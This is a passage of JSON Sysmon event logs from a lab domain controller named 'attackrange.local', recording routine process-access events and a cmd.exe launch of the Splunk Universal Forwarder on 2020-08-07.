11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3233,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3234,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3235,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3236,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3237,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3238,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001077170500}\r\nTargetProcessId: 2900\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001077170500}","TargetProcessId":"2900","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3239,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.399\r\nProcessGuid: {90617006-407B-5F2D-0000-001033180500}\r\nProcessId: 2932\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nFileVersion: 8.0.2\r\nDescription: splunk Application\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001077170500}\r\nParentProcessId: 2900\r\nParentImage: C:\\Windows\\System32\\cmd.exe\r\nParentCommandLine: C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.399","ProcessGuid":"{90617006-407B-5F2D-0000-001033180500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","FileVersion":"8.0.2","Description":"splunk Application","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=BA47934C1D8F8F5D495F67F9B6EF5D0B,SHA256=39A00C55E1BC2233DBEE2A3F2F8CB9BD3668275DCA5F83BD11958FAF50E8C8CE,IMPHASH=4D753DA340C903D8C30CD8B0CF2B73E3","ParentProcessGuid":"{90617006-407B-5F2D-0000-001077170500}","ParentProcessId":"2900","ParentImage":"C:\\Windows\\System32\\cmd.exe","ParentCommandLine":"C:\\Windows\\system32\\cmd.exe /c \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3240,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001077170500}\r\nSourceProcessId: 2900\r\nSourceThreadId: 2908\r\nSourceImage: C:\\Windows\\system32\\cmd.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nTargetProcessId: 2932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.385","SourceProcessGUID":"{90617006-407B-5F2D-0000-001077170500}","SourceProcessId":"2900","SourceThreadId":"2908","SourceImage":"C:\\Windows\\system32\\cmd.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","TargetProcessId":"2932","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\system32\\cmd.exe+f1e1|C:\\Windows\\system32\\cmd.exe+11a37|C:\\Windows\\system32\\cmd.exe+cb0d|C:\\Windows\\system32\\cmd.exe+c295|C:\\Windows\\system32\\cmd.exe+f916|C:\\Windows\\system32\\cmd.exe+1510d|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3241,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nTargetProcessId: 2932\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: 